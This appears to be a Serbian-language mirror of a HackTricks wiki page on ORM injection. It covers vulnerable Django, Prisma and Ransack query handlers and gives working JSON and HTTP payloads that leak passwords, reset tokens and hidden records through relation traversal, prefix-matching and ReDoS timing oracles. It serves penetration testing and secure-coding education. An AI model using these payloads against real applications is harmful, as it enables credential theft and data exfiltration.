mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
302 lines
9.0 KiB
Markdown
302 lines
9.0 KiB
Markdown
# ORM Injection
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Django ORM (Python)
|
||
|
||
U [**ovom postu**](https://www.elttam.com/blog/plormbing-your-django-orm/) objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je:
|
||
|
||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||
"""
|
||
Neki osnovni API prikaz na koji korisnici šalju zahteve za
|
||
pretragu članaka
|
||
"""
|
||
def post(self, request: Request, format=None):
|
||
try:
|
||
<strong> articles = Article.objects.filter(**request.data)
|
||
</strong> serializer = ArticleSerializer(articles, many=True)
|
||
except Exception as e:
|
||
return Response([])
|
||
return Response(serializer.data)
|
||
</code></pre>
|
||
|
||
Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da **filtriraju objekte iz baze podataka**. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje.
|
||
|
||
Primeri:
|
||
|
||
- **Prijava:** U jednostavnoj prijavi pokušajte da iscurite lozinke korisnika registrovanih unutar nje.
|
||
```json
|
||
{
|
||
"username": "admin",
|
||
"password_startswith": "a"
|
||
}
|
||
```
|
||
> [!CAUTION]
|
||
> Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja.
|
||
|
||
- **Relacijsko filtriranje**: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||
```json
|
||
{
|
||
"created_by__user__password__contains": "pass"
|
||
}
|
||
```
|
||
> [!CAUTION]
|
||
> Moguće je pronaći lozinku svih korisnika koji su kreirali članak
|
||
|
||
- **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||
```json
|
||
{
|
||
"created_by__departments__employees__user_startswith": "admi"
|
||
}
|
||
```
|
||
> [!CAUTION]
|
||
> U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke).
|
||
|
||
- **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Pored toga, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**.
|
||
```bash
|
||
# By users in the same group
|
||
created_by__user__groups__user__password
|
||
|
||
# By users with the same permission
|
||
created_by__user__user_permissions__user__password
|
||
```
|
||
- **Zaobilaženje ograničenja filtera**: Isti blog post je predložio zaobilaženje korišćenja nekih filtera kao što je `articles = Article.objects.filter(is_secret=False, **request.data)`. Moguće je izvući članke koji imaju is_secret=True jer možemo da se vratimo iz veze u tabelu Article i da otkrijemo tajne članke iz netajnih članaka jer su rezultati spojeni i is_secret polje se proverava u netajnom članku dok se podaci otkrivaju iz tajnog članka.
|
||
```bash
|
||
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||
```
|
||
> [!CAUTION]
|
||
> Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka.
|
||
|
||
- **Greška/Na osnovu vremena putem ReDoS**: U prethodnim primerima očekivalo se da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl.
|
||
```json
|
||
// Non matching password
|
||
{
|
||
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
||
}
|
||
|
||
// ReDoS matching password (will show some error in the response or check the time)
|
||
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||
```
|
||
- **SQLite**: Po defaultu nema regexp operator (zahteva učitavanje eksterne ekstenzije)
|
||
- **PostgreSQL**: Po defaultu nema regex timeout i manje je podložan backtrackingu
|
||
- **MariaDB**: Po defaultu nema regex timeout
|
||
|
||
## Prisma ORM (NodeJS)
|
||
|
||
Sledeće su [**trikovi izvučeni iz ovog posta**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
||
|
||
- **Potpuna kontrola nad pronalaženjem**:
|
||
|
||
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||
|
||
app.use(express.json());
|
||
|
||
app.post('/articles/verybad', async (req, res) => {
|
||
try {
|
||
// Napadač ima potpunu kontrolu nad svim prisma opcijama
|
||
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
||
</strong> res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
</code></pre>
|
||
|
||
Moguće je videti da se celo javascript telo prosleđuje prismi za izvršavanje upita.
|
||
|
||
U primeru iz originalnog posta, ovo bi proverilo sve postove koje je kreirao neko (svaki post je kreiran od strane nekoga) vraćajući takođe informacije o korisniku tog nekoga (korisničko ime, lozinka...)
|
||
```json
|
||
{
|
||
"filter": {
|
||
"include": {
|
||
"createdBy": true
|
||
}
|
||
}
|
||
}
|
||
|
||
// Response
|
||
[
|
||
{
|
||
"id": 1,
|
||
"title": "Buy Our Essential Oils",
|
||
"body": "They are very healthy to drink",
|
||
"published": true,
|
||
"createdById": 1,
|
||
"createdBy": {
|
||
"email": "karen@example.com",
|
||
"id": 1,
|
||
"isAdmin": false,
|
||
"name": "karen",
|
||
"password": "super secret passphrase",
|
||
"resetToken": "2eed5e80da4b7491"
|
||
}
|
||
},
|
||
...
|
||
]
|
||
```
|
||
Sledeći upit bira sve postove koje je kreirao neko sa lozinkom i vratiće lozinku:
|
||
```json
|
||
{
|
||
"filter": {
|
||
"select": {
|
||
"createdBy": {
|
||
"select": {
|
||
"password": true
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// Response
|
||
[
|
||
{
|
||
"createdBy": {
|
||
"password": "super secret passphrase"
|
||
}
|
||
},
|
||
...
|
||
]
|
||
```
|
||
- **Potpuna kontrola where klauzule**:
|
||
|
||
Pogledajmo ovo gde napadač može kontrolisati `where` klauzulu:
|
||
|
||
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
||
try {
|
||
const posts = await prisma.article.findMany({
|
||
<strong> where: req.query.filter as any // Podložno ORM leak-ovima
|
||
</strong> })
|
||
res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
</code></pre>
|
||
|
||
Moguće je filtrirati lozinku korisnika direktno kao:
|
||
```javascript
|
||
await prisma.article.findMany({
|
||
where: {
|
||
createdBy: {
|
||
password: {
|
||
startsWith: "pas",
|
||
},
|
||
},
|
||
},
|
||
})
|
||
```
|
||
> [!CAUTION]
|
||
> Korišćenjem operacija kao što je `startsWith` moguće je otkriti informacije. 
|
||
|
||
- **Zaobilaženje filtriranja u mnogim-relacijama:** 
|
||
```javascript
|
||
app.post("/articles", async (req, res) => {
|
||
try {
|
||
const query = req.body.query
|
||
query.published = true
|
||
const posts = await prisma.article.findMany({ where: query })
|
||
res.json(posts)
|
||
} catch (error) {
|
||
res.json([])
|
||
}
|
||
})
|
||
```
|
||
Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između `Category` -\[\*..\*]-> `Article`:
|
||
```json
|
||
{
|
||
"query": {
|
||
"categories": {
|
||
"some": {
|
||
"articles": {
|
||
"some": {
|
||
"published": false,
|
||
"{articleFieldToLeak}": {
|
||
"startsWith": "{testStartsWith}"
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Takođe je moguće otkriti sve korisnike zloupotrebom nekih loop back mnogu-na-mnoge odnosa:
|
||
```json
|
||
{
|
||
"query": {
|
||
"createdBy": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"{fieldToLeak}": {
|
||
"startsWith": "{testStartsWith}"
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
- **Greške/Upitnici sa vremenom**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
|
||
```json
|
||
{
|
||
"OR": [
|
||
{
|
||
"NOT": {ORM_LEAK}
|
||
},
|
||
{CONTAINS_LIST}
|
||
]
|
||
}
|
||
```
|
||
Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgovor bude odložen kada se pronađe ispravni leak.**
|
||
|
||
## **Ransack (Ruby)**
|
||
|
||
Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
||
|
||
> [!TIP]
|
||
> **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih atributa i asocijacija za pretraživanje.**
|
||
|
||
**Vulnerabilan primer:**
|
||
```ruby
|
||
def index
|
||
@q = Post.ransack(params[:q])
|
||
@posts = @q.result(distinct: true)
|
||
end
|
||
```
|
||
Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force na reset token sa:
|
||
```http
|
||
GET /posts?q[user_reset_password_token_start]=0
|
||
GET /posts?q[user_reset_password_token_start]=1
|
||
...
|
||
```
|
||
Kroz brute-forcing i potencijalno odnose, bilo je moguće izvući više podataka iz baze podataka.
|
||
|
||
## References
|
||
|
||
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|